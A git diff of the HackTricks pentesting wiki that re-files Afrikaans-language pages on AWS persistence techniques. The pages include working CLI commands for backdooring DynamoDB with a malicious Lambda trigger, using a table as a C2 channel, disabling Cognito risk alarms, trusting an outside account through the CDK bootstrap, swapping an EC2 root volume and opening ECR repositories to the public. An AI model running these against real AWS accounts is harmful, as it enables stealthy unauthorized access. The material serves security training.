diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md deleted file mode 100644 index 7701cd42f..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - API Gateway Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## API Gateway - -Vir meer inligting, gaan na: - -{{#ref}} -../aws-services/aws-api-gateway-enum.md -{{#endref}} - -### Hulpbronbeleid - -Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang te gee tot hulle. - -### Wysig Lambda Outeurs - -Wysig die kode van lambda outeurs om jouself toegang te gee tot al die eindpunte.\ -Of verwyder net die gebruik van die outeur. - -### IAM Toestemmings - -As 'n hulpbron IAM outeur gebruik, kan jy jouself toegang gee deur IAM toestemmings te wysig.\ -Of verwyder net die gebruik van die outeur. - -### API Sleutels - -As API sleutels gebruik word, kan jy hulle lek om volharding te handhaaf of selfs nuwe te skep.\ -Of verwyder net die gebruik van API sleutels. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md new file mode 100644 index 000000000..8caf28c7f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md @@ -0,0 +1,32 @@ +# AWS - API Gateway Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## API Gateway + +For more information go to: + +{{#ref}} +../../aws-services/aws-api-gateway-enum.md +{{#endref}} + +### Resource Policy + +Wysig die resource policy van die API gateway(s) om jouself toegang daartoe te gee + +### Modify Lambda Authorizers + +Wysig die kode van lambda authorizers om jouself toegang tot al die endpoints te gee.\ +Of verwyder net die gebruik van die authorizer. + +### IAM Permissions + +As 'n resource 'n IAM authorizer gebruik, kan jy jouself toegang gee deur IAM permissions aan te pas.\ +Of verwyder net die gebruik van die authorizer. + +### API Keys + +As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe te skep.\ +Of verwyder net die gebruik van API keys. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md deleted file mode 100644 index 68d712017..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - Cloudformation Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFormation - -Vir meer inligting, toegang: - -{{#ref}} -../aws-services/aws-cloudformation-and-codestar-enum.md -{{#endref}} - -### CDK Bootstrap Stap - -Die AWS CDK ontplooi 'n CFN-stap genoem `CDKToolkit`. Hierdie stap ondersteun 'n parameter `TrustedAccounts` wat eksterne rekeninge toelaat om CDK-projekte in die slagofferrekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagofferrekening te verleen, hetsy deur die AWS cli te gebruik om die stap met parameters te herontplooi, of die AWS CDK cli. -```bash -# CDK -cdk bootstrap --trust 1234567890 - -# AWS CLI -aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md new file mode 100644 index 000000000..cd9dbfc2e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFormation + +Vir meer inligting, besoek: + +{{#ref}} +../../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +Die AWS CDK ontplooi 'n CFN stack genaamd `CDKToolkit`. Hierdie stack ondersteun 'n parameter `TrustedAccounts` wat externe rekeninge toelaat om CDK-projekte in die slagofferrekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagofferrekening te verleen, hetsy deur die AWS cli te gebruik om die stack met parameters te herontplooi, of die AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md deleted file mode 100644 index 1e4e9c291..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - Cognito Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Vir meer inligting, toegang: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Gebruiker persistensie - -Cognito is 'n diens wat dit moontlik maak om rolle aan nie-geverifieerde en geverifieerde gebruikers toe te ken en om 'n gids van gebruikers te beheer. Verskeie verskillende konfigurasies kan verander word om 'n mate van persistensie te handhaaf, soos: - -- **Voeg 'n Gebruiker Pool** wat deur die gebruiker beheer word, by 'n Identiteits Pool -- Gee 'n **IAM rol aan 'n nie-geverifieerde Identiteits Pool en laat Basiese auth vloei toe** -- Of aan 'n **geverifieerde Identiteits Pool** as die aanvaller kan aanmeld -- Of **verbeter die toestemmings** van die gegewe rolle -- **Skep, verifieer & privesc** via attributes wat deur gebruikers of nuwe gebruikers in 'n **Gebruiker Pool** beheer word -- **Laat eksterne Identiteits Verskaffers** toe om in 'n Gebruiker Pool of in 'n Identiteits Pool aan te meld - -Kyk hoe om hierdie aksies uit te voer in - -{{#ref}} -../aws-privilege-escalation/aws-cognito-privesc.md -{{#endref}} - -### `cognito-idp:SetRiskConfiguration` - -'n Aanvaller met hierdie voorregte kan die risiko konfigurasie verander om as 'n Cognito gebruiker aan te meld **sonder dat alarms geaktiveer word**. [**Kyk na die cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) om al die opsies te kyk: -```bash -aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} -``` -Standaard is dit gedeaktiveer: - -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md new file mode 100644 index 000000000..39d039d40 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md @@ -0,0 +1,40 @@ +# AWS - Cognito Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Vir meer inligting, besoek: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Gebruikerpersistensie + +Cognito is 'n diens wat dit toelaat om rolle aan ongeverifieerde en geverifieerde gebruikers toe te ken en 'n gids van gebruikers te beheer. Verskeie verskillende konfigurasies kan verander word om 'n mate van persistensie te behou, soos: + +- **Voeg 'n User Pool by** wat deur die gebruiker beheer word aan 'n Identity Pool +- **Ken 'n IAM role aan 'n unauthenticated Identity Pool en staan Basic auth flow toe** +- Of na 'n **authenticated Identity Pool** as die aanvaller kan login +- Of **verbeter die permissions** van die gegewe rolle +- **Create, verify & privesc** deur gebruikers wat deur attributes beheer word of deur nuwe gebruikers in 'n **User Pool** +- **Sta external Identity Providers toe** om in 'n User Pool of in 'n Identity Pool te login + +Sien hoe om hierdie aksies uit te voer in + +{{#ref}} +../../aws-privilege-escalation/aws-cognito-privesc/README.md +{{#endref}} + +### `cognito-idp:SetRiskConfiguration` + +'N aanvaller met hierdie reg kan die risk configuration wysig om as 'n Cognito-gebruiker te kan login **sonder dat alarms geaktiveer word**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) om al die opsies te kontroleer: +```bash +aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} +``` +Standaard is dit gedeaktiveer: + +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md deleted file mode 100644 index feef0b2df..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ /dev/null @@ -1,59 +0,0 @@ -# AWS - DynamoDB Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -### DynamoDB - -Vir meer inligting, toegang: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### DynamoDB Triggers met Lambda Agterdeur - -Deur gebruik te maak van DynamoDB triggers, kan 'n aanvaller 'n **stealthy agterdeur** skep deur 'n kwaadwillige Lambda-funksie met 'n tabel te assosieer. Die Lambda-funksie kan geaktiveer word wanneer 'n item bygevoeg, gewysig of verwyder word, wat die aanvaller toelaat om arbitrêre kode binne die AWS-rekening uit te voer. -```bash -# Create a malicious Lambda function -aws lambda create-function \ ---function-name MaliciousFunction \ ---runtime nodejs14.x \ ---role \ ---handler index.handler \ ---zip-file fileb://malicious_function.zip \ ---region - -# Associate the Lambda function with the DynamoDB table as a trigger -aws dynamodbstreams describe-stream \ ---table-name TargetTable \ ---region - -# Note the "StreamArn" from the output -aws lambda create-event-source-mapping \ ---function-name MaliciousFunction \ ---event-source \ ---region -``` -Om volharding te handhaaf, kan die aanvaller items in die DynamoDB-tabel skep of wysig, wat die kwaadwillige Lambda-funksie sal aktiveer. Dit stel die aanvaller in staat om kode binne die AWS-rekening uit te voer sonder direkte interaksie met die Lambda-funksie. - -### DynamoDB as 'n C2-kanaal - -'n Aanvaller kan 'n DynamoDB-tabel gebruik as 'n **opdrag en beheer (C2) kanaal** deur items te skep wat opdragte bevat en gecompromitteerde instansies of Lambda-funksies te gebruik om hierdie opdragte op te haal en uit te voer. -```bash -# Create a DynamoDB table for C2 -aws dynamodb create-table \ ---table-name C2Table \ ---attribute-definitions AttributeName=CommandId,AttributeType=S \ ---key-schema AttributeName=CommandId,KeyType=HASH \ ---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ ---region - -# Insert a command into the table -aws dynamodb put-item \ ---table-name C2Table \ ---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ ---region -``` -Die gecompromitteerde instansies of Lambda-funksies kan periodiek die C2-tabel vir nuwe opdragte nagaan, dit uitvoer, en opsioneel die resultate terug na die tabel rapporteer. Dit stel die aanvaller in staat om volharding en beheer oor die gecompromitteerde hulpbronne te handhaaf. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md new file mode 100644 index 000000000..ac02d9bea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md @@ -0,0 +1,59 @@ +# AWS - DynamoDB Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +### DynamoDB + +Vir meer inligting, besoek: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### DynamoDB Triggers met Lambda Backdoor + +Deur DynamoDB triggers te gebruik, kan 'n aanvaller 'n **stealthy backdoor** skep deur 'n kwaadwillige Lambda function aan 'n tabel te koppel. Die Lambda function kan getrigger word wanneer 'n item bygevoeg, gewysig of verwyder word, waardeur die aanvaller willekeurige kode binne die AWS-account kan uitvoer. +```bash +# Create a malicious Lambda function +aws lambda create-function \ +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region + +# Associate the Lambda function with the DynamoDB table as a trigger +aws dynamodbstreams describe-stream \ +--table-name TargetTable \ +--region + +# Note the "StreamArn" from the output +aws lambda create-event-source-mapping \ +--function-name MaliciousFunction \ +--event-source \ +--region +``` +Om persistence te behou, kan die aanvaller items in die DynamoDB-tabel skep of wysig, wat die kwaadwillige Lambda-funksie sal aktiveer. Dit stel die aanvaller in staat om kode binne die AWS-rekening uit te voer sonder direkte interaksie met die Lambda-funksie. + +### DynamoDB as a C2 Channel + +'n aanvaller kan 'n DynamoDB-tabel gebruik as 'n **command and control (C2) channel** deur items te skep wat opdragte bevat en gekompromitteerde instansies of Lambda-funksies te gebruik om hierdie opdragte op te haal en uit te voer. +```bash +# Create a DynamoDB table for C2 +aws dynamodb create-table \ +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region + +# Insert a command into the table +aws dynamodb put-item \ +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region +``` +Die gekompromitteerde instansies of Lambda-funksies kan periodiek die C2-tabel vir nuwe opdragte nagaan, dit uitvoer en opsioneel die resultate terug aan die tabel rapporteer. Dit stel die aanvaller in staat om aanhoudende toegang en beheer oor die gekompromitteerde hulpbronne te behou. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md deleted file mode 100644 index c1ad3d596..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ /dev/null @@ -1,54 +0,0 @@ -# AWS - EC2 Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### Sekuriteitsgroep Verbinding Volg Persistensie - -As 'n verdediger vind dat 'n **EC2-instantie gecompromitteer is**, sal hy waarskynlik probeer om die **netwerk** van die masjien te **isoleer**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur die **sekuriteitsgroep** te verander om **enige soort inkomende of uitgaande** verkeer te verbied. - -As die aanvaller 'n **omgekeerde shell afkomstig van die masjien** gehad het, selfs al is die SG gewysig om inkomende of uitgaande verkeer te verbied, sal die **verbinding nie beëindig word nie** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** - -### EC2 Levensiklusbestuurder - -Hierdie diens laat toe om die **skepping van AMIs en snapshots** te **skeduleer** en selfs om dit met ander rekeninge te **deel**.\ -'n Aanvaller kan die **generering van AMIs of snapshots** van al die beelde of al die volumes **elke week** skeduleer en dit **met sy rekening deel**. - -### Geskeduleerde Instanties - -Dit is moontlik om instanties te skeduleer om daagliks, weekliks of selfs maandeliks te loop. 'n Aanvaller kan 'n masjien met hoë voorregte of interessante toegang laat loop waar hy toegang kan verkry. - -### Spot Vloot Versoek - -Spot-instanties is **goedkoper** as gewone instanties. 'n Aanvaller kan 'n **klein spot vlootversoek vir 5 jaar** (byvoorbeeld) begin, met **outomatiese IP** toewysing en 'n **gebruikersdata** wat na die aanvaller stuur **wanneer die spot-instantie begin** en die **IP-adres** en met 'n **hoë voorregte IAM-rol**. - -### Agterdeur Instanties - -'n Aanvaller kan toegang tot die instanties verkry en dit agterdeur: - -- Deur 'n tradisionele **rootkit** te gebruik -- 'n Nuwe **publieke SSH-sleutel** by te voeg (kyk [EC2 privesc opsies](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Die **Gebruikersdata** agterdeur - -### **Agterdeur Ontplooiing Konfigurasie** - -- Agterdeur die gebruikte AMI -- Agterdeur die Gebruikersdata -- Agterdeur die Sleutel Paar - -### VPN - -Skep 'n VPN sodat die aanvaller direk deur dit na die VPC kan verbind. - -### VPC Peering - -Skep 'n peeringverbinding tussen die slagoffer VPC en die aanvaller VPC sodat hy toegang tot die slagoffer VPC kan verkry. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md new file mode 100644 index 000000000..2f8007630 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md @@ -0,0 +1,61 @@ +# AWS - EC2 Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### Security Group Connection Tracking Persistence + +As a defender ontdek dat 'n **EC2 instance was compromised**, sal hy waarskynlik probeer om die **network** van die masjien te **isolate**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur **changing the security group** sodat dit **any kind of inbound or outbound** verkeer nie toelaat nie. + +As an attacker 'n **reverse shell originated from the machine** gehad het, selfs al is die SG gewysig om inboud of outbound verkeer nie toe te laat nie, sal die **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** + +### EC2 Lifecycle Manager + +Hierdie diens laat toe om die **schedule** van die **creation of AMIs and snapshots**, en selfs om dit te **share them with other accounts**. An attacker kan die **generation of AMIs or snapshots** van alle images of volumes op **every week** skeduleer en dit **share them with his account**. + +### Scheduled Instances + +Dit is moontlik om instances te schedule om daagliks, weekliks of selfs maandeliks te hardloop. An attacker kan 'n masjien met high privileges of interessante toegang draai wat hy kan benut. + +### Spot Fleet Request + +Spot instances is **cheaper** as gewone instances. An attacker kan 'n **small spot fleet request for 5 year** (byvoorbeeld) loods, met **automatic IP** toekenning en 'n **user data** wat aan die attacker stuur **when the spot instance start** en die **IP address**, en met 'n **high privileged IAM role**. + +### Backdoor Instances + +An attacker kan toegang tot die instances kry en hulle backdoor: + +- Deur byvoorbeeld 'n tradisionele **rootkit** te gebruik +- Voeg 'n nuwe **public SSH key** by (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)) +- Backdooring the **User Data** + +### **Backdoor Launch Configuration** + +- Backdoor the used AMI +- Backdoor the User Data +- Backdoor the Key Pair + +### EC2 ReplaceRootVolume Task (Stealth Backdoor) + +Ruil die root EBS volume van 'n running instance uit vir een gebou vanaf 'n attacker-controlled AMI of snapshot met behulp van `CreateReplaceRootVolumeTask`. Die instance behou sy ENIs, IPs, en role, en boot effektief in kwaadwillige kode terwyl dit onveranderd voorkom. + +{{#ref}} +../aws-ec2-replace-root-volume-persistence/README.md +{{#endref}} + +### VPN + +Skep 'n VPN sodat die attacker direk na die VPC kan verbind. + +### VPC Peering + +Skep 'n peering connection tussen die victim VPC en die attacker VPC sodat hy toegang tot die victim VPC kan kry. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md new file mode 100644 index 000000000..501bb2ac9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md @@ -0,0 +1,75 @@ +# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence) + +{{#include ../../../../banners/hacktricks-training.md}} + +Misbruik **ec2:CreateReplaceRootVolumeTask** om die root EBS-volume van 'n lopende instansie te vervang met een wat uit 'n deur die aanvaller beheerde AMI of snapshot herstel is. Die instansie word outomaties herbegin en hervat met die deur die aanvaller beheerde root-lêerstelsel, terwyl ENIs, private/public IPs, aangehegte nie-root-volumes, en die instansie se metadata/IAM role behoue bly. + +## Vereistes +- Teiken-instansie is EBS-backed en lopend in dieselfde streek. +- Kompatibele AMI of snapshot: dieselfde argitektuur/virtualisering/boot-modus (en produk-kodes, indien enige) as die teiken-instansie. + +## Voorafkontroles +```bash +REGION=us-east-1 +INSTANCE_ID= + +# Ensure EBS-backed +aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text + +# Capture current network and root volume +ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text) +ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) +PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text) +ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text) +``` +## Vervang root vanaf AMI (verkieslik) +```bash +IMAGE_ID= + +# Start task +TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text) + +# Poll until state == succeeded +while true; do +STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text) +echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10; +done +``` +Alternatief deur 'n snapshot te gebruik: +```bash +SNAPSHOT_ID= +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID +``` +## Bewyse / Verifikasie +```bash +# Instance auto-reboots; network identity is preserved +NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text) + +# Compare before vs after +printf "ENI:%s IP:%s +ORIG_VOL:%s +NEW_VOL:%s +" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL" + +# (Optional) Inspect task details and console output +aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json +aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text +``` +Verwag: ENI_ID en PRI_IP bly dieselfde; die root volume ID verander van $ORIG_VOL na $NEW_VOL. Die stelsel boot met die lêerstelsel van die attacker-controlled AMI/snapshot. + +## Notas +- Die API vereis nie dat jy die instansie handmatig stop nie; EC2 orkestreer 'n herbegin. +- Standaard word die vervangde (ou) root EBS-volume losgemaak en in die rekening gelaat (DeleteReplacedRootVolume=false). Dit kan vir rollback gebruik word of moet verwyder word om koste te vermy. + +## Rollback / Opruiming +```bash +# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"), +# you can create a snapshot and replace again from it: +SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text) +aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP +aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP + +# Or simply delete the detached old root volume if not needed: +aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md deleted file mode 100644 index b639effaa..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - ECR Volharding - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Versteekte Docker Beeld met Kwaadwillige Kode - -'n Aanvaller kan **'n Docker beeld wat kwaadwillige kode bevat** na 'n ECR-bewaarplek oplaai en dit gebruik om volharding in die teiken AWS-rekening te handhaaf. Die aanvaller kan dan die kwaadwillige beeld na verskeie dienste binne die rekening ontplooi, soos Amazon ECS of EKS, op 'n stil manier. - -### Bewaarplek Beleid - -Voeg 'n beleid by 'n enkele bewaarplek wat jouself (of almal) toegang tot 'n bewaarplek gee: -```bash -aws ecr set-repository-policy \ ---repository-name cluster-autoscaler \ ---policy-text file:///tmp/my-policy.json - -# With a .json such as - -{ -"Version" : "2008-10-17", -"Statement" : [ -{ -"Sid" : "allow public pull", -"Effect" : "Allow", -"Principal" : "*", -"Action" : [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -> [!WARNING] -> Let daarop dat ECR vereis dat gebruikers **toestemming** het om oproepe na die **`ecr:GetAuthorizationToken`** API te maak deur 'n IAM-beleid **voordat hulle kan autentiseer** by 'n registrasie en enige beelde van enige Amazon ECR-bewaarplek kan stoot of trek. - -### Registrasiebeleid & Kruisrekening Replikaasje - -Dit is moontlik om 'n registrasie in 'n eksterne rekening outomaties te repliseer deur kruisrekening replikaasie te konfigureer, waar jy die **eksterne rekening** moet **aandui** waar jy die registrasie wil repliseer. - -
- -Eerstens, moet jy die eksterne rekening toegang gee oor die registrasie met 'n **registrasiebeleid** soos: -```bash -aws ecr put-registry-policy --policy-text file://my-policy.json - -# With a .json like: - -{ -"Sid": "asdasd", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::947247140022:root" -}, -"Action": [ -"ecr:CreateRepository", -"ecr:ReplicateImage" -], -"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" -} -``` -Dan pas die replikaasiekonfigurasie toe: -```bash -aws ecr put-replication-configuration \ ---replication-configuration file://replication-settings.json \ ---region us-west-2 - -# Having the .json a content such as: -{ -"rules": [{ -"destinations": [{ -"region": "destination_region", -"registryId": "destination_accountId" -}], -"repositoryFilters": [{ -"filter": "repository_prefix_name", -"filterType": "PREFIX_MATCH" -}] -}] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md new file mode 100644 index 000000000..c8f0bdf7e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md @@ -0,0 +1,145 @@ +# AWS - ECR Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Hidden Docker Image with Malicious Code + +'n aanvaller kan **upload a Docker image containing malicious code** na 'n ECR repository oplaai en dit gebruik om persistence in die geteikende AWS-rekening te handhaaf. Die aanvaller kan dan die malicious image op verskeie dienste binne die rekening, soos Amazon ECS of EKS, stilweg uitrol. + +### Repository Policy + +Voeg 'n beleid by op 'n enkele repository wat jou (of almal) toegang tot daardie repository gee: +```bash +aws ecr set-repository-policy \ +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json + +# With a .json such as + +{ +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +> [!WARNING] +> Neem kennis dat ECR vereis dat gebruikers **toestemming** het om oproepe te maak na die **`ecr:GetAuthorizationToken`** API deur 'n IAM-beleid **voordat hulle kan autentiseer** by 'n registry en enige images na of van enige Amazon ECR repository kan push of pull. + +### Registerbeleid & Kruis-rekening replikasie + +Dit is moontlik om 'n registry outomaties in 'n eksterne rekening te repliseer deur kruis-rekening replikasie te konfigureer, waar jy die **eksterne rekening moet aandui** waarin jy die registry wil repliseer. + +
+ +Eers moet jy die eksterne rekening toegang gee tot die registry met 'n **registry policy** soos: +```bash +aws ecr put-registry-policy --policy-text file://my-policy.json + +# With a .json like: + +{ +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +} +``` +Pas dan die repliseringskonfigurasie toe: +```bash +aws ecr put-replication-configuration \ +--replication-configuration file://replication-settings.json \ +--region us-west-2 + +# Having the .json a content such as: +{ +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] +} +``` +### Repository Creation Templates (prefix backdoor for future repos) + +Misbruik ECR Repository Creation Templates om outomaties enige repository te backdoor wat ECR onder 'n beheerde prefix self skep (byvoorbeeld via Pull-Through Cache of Create-on-Push). Dit verleen volhoubare ongemagtigde toegang tot toekomstige repos sonder om bestaande te raak. + +- Benodigde perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template). +- Impak: Enige nuwe 